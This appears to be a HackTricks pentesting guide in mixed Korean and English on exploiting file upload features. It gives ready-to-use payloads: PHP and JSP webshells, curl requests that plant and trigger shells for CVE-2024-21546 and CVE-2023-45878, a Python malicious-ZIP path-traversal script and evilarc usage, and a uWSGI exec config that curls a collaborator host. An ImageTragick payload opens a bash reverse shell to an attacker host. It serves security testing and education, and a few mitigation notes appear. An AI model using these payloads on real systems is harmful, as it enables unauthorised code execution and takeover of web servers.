File Upload

Reading time: 24 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

File Upload General Methodology

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5_, .phtml_, .module_, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. 적용된다면, 이전 확장자들을 확인하세요. 또한 일부 대문자를 사용해 테스트하세요: pHp, .pHP5, .PhAr ...
  2. 실행 확장자 앞에 유효한 확장자를 추가해보세요 (위의 확장자들도 사용):
  • file.png.php
  • file.png.Php5
  1. 파일명 끝에 특수 문자를 추가해보세요. Burp로 모든 asciiUnicode 문자를 bruteforce할 수 있습니다. (이전에 언급한 extensions도 같이 시도해보세요)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. 서버측의 확장자 파서를 속이는 방식으로 보호를 우회해보세요. 예: 확장자를 두 번 사용하거나 확장자 사이에 junk 데이터(null 바이트 등)를 넣는 기법. 더 나은 페이로드를 위해 이전 확장자들을 활용할 수도 있습니다.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 이전 검사에 추가 레이어의 확장자를 붙여보세요:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 실행 확장자를 유효한 확장자 앞에 넣어보고 서버가 잘못 구성되어 있는지 확인하세요. (예: Apache의 잘못된 구성에서 .php로 끝나지 않더라도 .php를 포함하면 코드가 실행될 수 있음)
  • ex: file.php.png
  1. Windows에서 NTFS alternate data stream (ADS)를 사용해보세요. 이 경우 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 문자 ":"가 삽입됩니다. 결과적으로 서버에 금지된 확장자를 가진 빈 파일이 생성될 수 있습니다(예: "file.asax:.jpg”). 이 파일은 이후 short filename 같은 다른 기법으로 편집될 수 있습니다. "::$data” 패턴을 사용하면 비어있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가적인 제한을 우회하는 데 유용할 수 있습니다(예: "file.asp::$data.”)
  2. 파일명 길이 제한을 깨보세요. 유효한 확장자가 잘리고, 악의적 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

일부 upload handler는 저장된 파일명에서 끝나는 점(trailing dot)을 잘라내거나 정규화합니다. UniSharp의 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 이전 버전에서는 확장자 검증을 다음과 같이 우회할 수 있습니다:

  • 유효한 이미지 MIME 및 magic header 사용(예: PNG의 \x89PNG\r\n\x1a\n).
  • 업로드 파일명을 PHP 확장자 뒤에 점을 붙여서 지정 (예: shell.php.).
  • 서버가 trailing dot을 제거하여 shell.php로 저장하면, 웹으로 서빙되는 디렉토리에 위치할 경우 실행됩니다(기본 public storage 경로 예: /storage/files/).

Minimal PoC (Burp Repeater):

http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

그런 다음 저장된 경로에 접속하세요 (Laravel + LFM에서 일반적임):

GET /storage/files/0xdf.php?cmd=id

우회 Content-Type, Magic Number, Compression & Resizing

  • Content-Type 검사를 우회하려면 Content-Type headervalue를 다음으로 설정하세요: image/png, text/plain, application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • magic number 검사를 우회하려면 파일의 시작 부분에 실제 이미지의 바이트를 추가하여 file 명령을 혼동시키세요. 또는 metadata 안에 셸을 삽입할 수 있습니다:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    또는 페이로드를 이미지에 직접 삽입할 수도 있습니다:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 만약 이미지에 압축이 적용되는 경우, 예를 들어 PHP-GD 같은 표준 PHP 라이브러리를 사용하는 경우 이전 기법들은 유용하지 않습니다. 하지만 PLTE chunk 기법은 여기에서 정의됨를 사용하면 압축을 견디는 텍스트를 삽입할 수 있습니다.
  • Github with the code
  • 웹 페이지가 예를 들어 PHP-GD의 imagecopyresized 또는 imagecopyresampled 함수를 사용해 이미지 크기 조정(resizing) 을 수행할 수도 있습니다. 그러나 IDAT chunk 기법은 여기에서 정의됨를 사용하면 압축을 견디는 텍스트를 삽입할 수 있습니다.
  • Github with the code
  • PHP-GD의 thumbnailImage 함수를 사용하는 경우에도 이미지 리사이징을 견디는 페이로드를 만드는 다른 기법이 있습니다. 또는 tEXt chunk 기법은 여기에서 정의됨를 사용해 압축을 견디는 텍스트를 삽입할 수 있습니다.
  • Github with the code

확인할 기타 트릭

  • 이미 업로드된 파일을 rename(이름 변경)할 수 있는 취약점을 찾아 확장자를 변경하세요.
  • 백도어를 실행하기 위해 Local File Inclusion 취약점을 찾아보세요.
  • 가능한 정보 노출:
  1. 동일한 이름으로 같은 파일을 여러 번 (그리고 동시에) 업로드하기
  2. 이미 존재하는 파일 또는 폴더이름으로 파일 업로드하기
  3. 파일 이름을 "." , "..", 또는 "…" 로 업로드하기. 예를 들어, Apache가 Windows에서 애플리케이션이 업로드된 파일을 "/www/uploads/" 디렉토리에 저장하면, "." 파일 이름은 "/www/" 디렉토리에 uploads” 라는 파일을 생성할 수 있습니다.
  4. NTFS에서 "…:.jpg" 같은 삭제하기 어려운 파일 업로드하기. (Windows)
  5. Windows에서 파일 이름에 |<>*?” 같은 유효하지 않은 문자를 포함해 업로드하기. (Windows)
  6. Windows에서 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 같은 예약(금지)된 이름을 사용하는 파일 업로드하기.
  • 실수로 피해자가 열었을 때 코드가 실행되는 .exe 같은 실행 파일이나 덜 의심스러운 .html 파일을 업로드해 보세요.

특수 확장자 트릭

PHP 서버에 파일을 업로드하려는 경우, 코드 실행을 위한 .htaccess 트릭을 확인하세요.
ASP 서버에 파일을 업로드하려는 경우, 코드 실행을 위한 .config 트릭을 확인하세요.

.phar 파일은 Java의 .jar와 비슷하지만 PHP용이며, php 파일처럼 사용될 수 있습니다(php로 실행하거나 스크립트에 include해서 사용 가능).

.inc 확장자는 때때로 파일을 import하는 용도로만 사용되는 php 파일에 사용되므로, 어떤 경우에는 이 확장자가 실행되도록 허용되어 있을 수 있습니다.

Jetty RCE

Jetty 서버에 XML 파일을 업로드할 수 있다면 RCE를 얻을 수 있습니다, 왜냐하면 **새로운 .xml 및 .war 파일이 자동으로 처리되기 때문입니다. 따라서 아래 이미지에서 언급된 것처럼 XML 파일을 $JETTY_BASE/webapps/에 업로드하면 셸을 기대할 수 있습니다!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

이 취약점에 대한 자세한 분석은 원문 연구를 확인하세요: uWSGI RCE Exploitation.

Remote Command Execution (RCE) 취약점은 .ini 구성 파일을 수정할 수 있는 권한이 있다면 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "magic" 변수, 플레이스홀더, 오퍼레이터를 포함하는 특정 문법을 사용합니다. 특히 @(filename) 형태로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되어 있습니다. uWSGI가 지원하는 여러 스킴 중에서 "exec" 스킴은 프로세스의 표준 출력으로부터 데이터를 읽을 수 있게 하여 특히 강력합니다. .ini 구성 파일이 처리될 때 이 기능은 Remote Command Execution 또는 Arbitrary File Write/Read 같은 악의적인 목적으로 악용될 수 있습니다.

다음은 다양한 스킴을 보여주는 악성 uwsgi.ini 파일의 예를 고려하세요:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

페이로드의 실행은 설정 파일을 파싱하는 동안 발생합니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스를 재시작해야 하며(충돌 후 또는 Denial of Service 공격으로 인해 발생할 수 있음) 또는 해당 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화되어 있으면 변경을 감지했을 때 지정된 간격으로 파일을 다시 로드합니다.

uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 구체적으로, 논의된 payload는 이미지나 PDF 같은 바이너리 파일 안에도 삽입될 수 있어 잠재적 악용 범위를 넓힙니다.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Gibbon LMS의 unauthenticated endpoint는 웹 루트 내에서 arbitrary file write를 허용하며, PHP 파일을 배치하여 pre-auth RCE로 이어질 수 있습니다. 취약한 버전: 25.0.01까지 포함.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (서버는 type/name을 무시하고 꼬리 부분을 base64로 디코딩합니다)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

Minimal PoC to write and read back a file:

bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

최소한의 webshell을 업로드하고 명령을 실행:

bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notes:

  • 핸들러는 ;,로 분할한 후 base64_decode($_POST["img"])를 수행하고, 확장자/타입을 검증하지 않고 바이트를 $absolutePath . '/' . $_POST['path']에 씁니다.
  • 결과적으로 실행되는 코드는 웹 서비스 사용자로 실행됩니다(예: XAMPP Apache on Windows).

References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.

wget 파일 업로드/SSRF 트릭

어떤 경우에는 서버가 **wget**을 사용해 파일을 다운로드하고 사용자가 URL을 지정할 수 있는 경우가 있습니다. 이런 경우 코드가 다운로드되는 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 검사할 수 있습니다. 하지만, 이 검사들은 우회될 수 있습니다.
linux에서 filename의 최대 길이는 255이지만, wget은 파일명을 236자로 잘라냅니다. 당신은 **"A"*232+".php"+".gif"**라는 파일을 다운로드할 수 있는데, 이 파일명은 검사우회합니다(이 예에서는 **".gif"**가 유효한 확장자이기 때문). 하지만 wget은 파일명을 **"A"*232+".php"**로 이름을 변경합니다.

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

참고: 이 체크를 우회하기 위해 생각할 수 있는 another option 중 하나는 HTTP server redirect to a different file를 만드는 것입니다. 이렇게 하면 초기 URL은 체크를 통과하더라도 wget은 리디렉션된 파일을 새 이름으로 다운로드합니다. 하지만 wget이 parameter --trust-server-names와 함께 사용되지 않는 한 won't work합니다. 그 이유는 wget will download the redirected page with the name of the file indicated in the original URL이기 때문입니다.

NTFS junctions (Windows)를 통한 업로드 디렉터리 탈출

(이 공격에는 Windows 머신에 대한 로컬 접근이 필요합니다) Windows에서 업로드가 사용자별 하위 폴더(예: C:\Windows\Tasks\Uploads<id>)에 저장되고 해당 하위 폴더의 생성/삭제를 제어할 수 있다면, 해당 폴더를 민감한 위치(예: webroot)를 가리키는 directory junction으로 교체할 수 있습니다. 이후 업로드된 파일들은 대상 경로에 쓰여지며, 대상이 server‑side code를 해석하는 경우 코드 실행을 유발할 수 있습니다.

XAMPP webroot로 업로드를 리디렉션하는 예시 흐름:

cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

참고

  • mklink /J creates an NTFS directory junction (reparse point). 웹 서버의 계정은 junction을 따라가서 대상 경로에 대한 쓰기 권한이 있어야 합니다.
  • 이는 임의 파일 쓰기를 리다이렉트합니다; 대상이 스크립트(PHP/ASP)를 실행하면 RCE가 됩니다.
  • 방어: C:\Windows\Tasks 등 하위에 공격자가 제어할 수 있는 쓰기 가능한 upload roots를 허용하지 마십시오; junction 생성 차단; 서버‑사이드에서 확장자 검증; 업로드를 별도 볼륨에 저장하거나 deny‑execute ACLs를 적용하십시오.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

일부 upload/ingest 핸들러는 원시 요청 본문을 사용자 제어 query parameters로부터 구성된 파일시스템 경로에 그대로 기록합니다. 핸들러가 Content-Encoding: gzip을 지원하고 대상 경로를 정규화/검증하지 않으면, directory traversal와 gzipped payload를 결합해 웹으로 서빙되는 디렉토리에 임의 바이트를 써서 RCE를 획득할 수 있습니다(예: Tomcat의 webapps 아래에 JSP를 배치).

Generic exploitation flow:

  • 서버 측 payload(예: 최소한의 JSP webshell)를 준비하고 바이트를 gzip으로 압축합니다.
  • path 파라미터(예: token)에 의도된 폴더를 벗어나는 traversal을 포함시키고, file은 영속화할 파일명을 가리키도록 하여 POST를 전송합니다. Content-Type: application/octet-stream 및 Content-Encoding: gzip을 설정하고, 본문은 압축된 payload입니다.
  • 작성된 파일로 이동하여 실행을 트리거합니다.

Illustrative request:

http
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

그런 다음 트리거:

http
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Notes

  • Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
  • Burp Suite’s Hackvertor extension can produce a correct gzip body from your payload.
  • This is a pure pre-auth arbitrary file write → RCE pattern; it does not rely on multipart parsing.

Mitigations

  • Derive upload destinations server-side; never trust path fragments from clients.
  • Canonicalize and enforce that the resolved path stays within an allow-listed base directory.
  • Store uploads on a non-executable volume and deny script execution from writable paths.

Tools

  • Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.

Corrupting upload indices with snprintf quirks (historical)

Some legacy upload handlers that use snprintf() or similar to build multi-file arrays from a single-file upload can be tricked into forging the _FILES structure. Due to inconsistencies and truncation in snprintf() behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

다른 폴더로 압축 해제

압축 해제 중 디렉터리에 파일이 예기치 않게 생성되는 문제는 심각합니다. 이 설정이 악성 파일 업로드를 통한 OS-level command execution을 방지할 수 있다는 초기 가정과 달리, ZIP archive format의 계층적 압축 지원과 디렉터리 트래버설 기능은 악용될 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제약을 우회하고 보안 업로드 디렉터리에서 탈출할 수 있습니다.

An automated exploit to craft such files is available at evilarc on GitHub. The utility can be used as shown:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

또한, symlink trick with evilarc도 옵션입니다. 목표가 /flag.txt 같은 파일을 겨냥하는 것이라면, 해당 파일로 가는 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 동작 중에 오류를 만나지 않습니다.

아래는 악성 zip 파일을 생성하기 위해 사용된 Python 코드 예시입니다:

python
#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

자세한 내용은 원문 게시물 확인: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: PHP 코드는 $_REQUEST 변수로 전달된 명령을 실행하도록 작성됩니다.
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: 여러 파일을 만든 다음, 이 파일들을 포함하는 zip 아카이브를 생성합니다.
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: zip 내부의 파일 이름을 vi 또는 16진 편집기로 변경하여 "xxA"를 "../"로 바꿔 디렉터리 탈출을 수행합니다.
bash
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

백엔드가 PHP의 ZipArchive로 ZIP 항목을 검증하지만 추출 시 raw 이름을 사용해 filesystem에 쓰는 경우, 파일명 필드에 NUL (0x00)을 삽입해 허용되지 않은 확장자를 스머글할 수 있습니다. ZipArchive는 항목 이름을 C-string으로 처리해 첫 번째 NUL에서 잘라버리고, filesystem은 NUL 이후를 버린 전체 이름을 씁니다.

High-level flow:

  • 합법적인 컨테이너 파일(예: 유효한 PDF)을 준비하고, magic/MIME가 PDF로 유지되도록 stream 안에 작은 PHP stub을 임베드합니다.
  • 파일 이름을 shell.php..pdf처럼 하고 zip으로 압축한 뒤, ZIP local header와 central directory filename을 hex‑edit하여 .php 다음의 첫 번째 .0x00으로 바꿉니다. 결과는 shell.php\x00.pdf가 됩니다.
  • ZipArchive에 의존하는 validators는 shell.php .pdf처럼 '보아' 허용하고; extractor는 shell.php를 디스크에 써서 업로드 폴더가 실행 가능하면 RCE로 이어집니다.

Minimal PoC steps:

bash
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Notes

  • 파일 이름을 둘 다 변경하세요(local 및 central directory). 일부 도구는 추가 data descriptor 항목을 추가하기도 하므로, 존재하는 모든 name 필드를 조정하세요.
  • 페이로드 파일은 여전히 server‑side magic/MIME sniffing을 통과해야 합니다. PHP를 PDF 스트림에 임베드하면 헤더가 유효하게 유지됩니다.
  • enum/validation path와 extraction/write path가 문자열 처리에서 불일치하는 경우에도 동작합니다.

Stacked/concatenated ZIPs (parser disagreement)

두 개의 유효한 ZIP 파일을 연결하면 서로 다른 파서가 서로 다른 EOCD 레코드에 주목하는 blob이 생성됩니다. 많은 도구는 마지막 End Of Central Directory (EOCD)를 찾는 반면, 일부 라이브러리(e.g., ZipArchive in specific workflows)는 발견한 첫 번째 아카이브를 파싱할 수 있습니다. 검증이 첫 번째 아카이브를 열거(enumerate)하고 추출이 마지막 EOCD를 따르는 다른 도구를 사용하면, 정상적인 아카이브는 체크를 통과하지만 악성 아카이브가 추출될 수 있습니다.

PoC:

bash
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

오용 패턴

  • 정상적인 아카이브(허용된 타입, 예: PDF) 하나와 차단된 확장자(예: shell.php)를 포함하는 두 번째 아카이브를 생성합니다.
  • 이들을 연결합니다: cat benign.zip evil.zip > combined.zip.
  • 서버가 한 파서로 검증(benign.zip을 확인)하지만 다른 파서로 추출(evil.zip을 처리)하면, 차단된 파일이 추출 경로에 놓입니다.

ImageTragic

이 내용을 이미지 확장자로 업로드하여 취약점 **(ImageMagick , 7.0.1-1)**을 악용하세요 (해당 exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNG에 PHP Shell 임베딩

PNG 파일의 IDAT 청크에 PHP shell을 삽입하면 특정 이미지 처리 동작을 효과적으로 우회할 수 있다. PHP-GD의 imagecopyresizedimagecopyresampled 함수는 각각 이미지 크기 조정과 리샘플링에 일반적으로 사용되므로 이 맥락에서 특히 관련이 있다. 임베디드 PHP shell이 이러한 처리로부터 영향을 받지 않고 유지되는 능력은 특정 사용 사례에서 중요한 이점이다.

이 기술의 방법론과 잠재적 응용을 자세히 다룬 글은 다음 기사에 설명되어 있다: "Encoding Web Shells in PNG IDAT chunks". 이 자료는 과정과 그 함의에 대한 포괄적인 이해를 제공한다.

추가 정보: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot 파일

폴리글롯 파일은 여러 파일 포맷으로 동시에 유효하게 존재할 수 있는 카멜레온 같은 독특한 도구다. 흥미로운 예로는 GIFAR가 있는데, 이는 GIF와 RAR 아카이브로 동시에 동작하는 하이브리드다. 이러한 파일은 이 조합에만 국한되지 않으며 GIF와 JS, PPT와 JS 같은 조합도 가능하다.

폴리글롯 파일의 핵심 유용성은 파일 유형 기반으로 파일을 검사하는 보안 조치를 회피할 수 있다는 점에 있다. 다양한 애플리케이션에서 보편적인 관행은 잠재적으로 유해한 포맷(예: JS, PHP, 또는 Phar 파일)을 줄이기 위해 JPEG, GIF 또는 DOC와 같은 특정 파일 타입만 업로드를 허용하는 것이다. 그러나 폴리글롯은 여러 파일 타입의 구조적 조건을 동시에 만족함으로써 이러한 제한을 은밀하게 우회할 수 있다.

적응성에도 불구하고 폴리글롯은 한계에 직면한다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG을 동시에 포함할 수 있더라도, 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있다. 시스템이 허용 가능한 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없다.

추가 정보: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

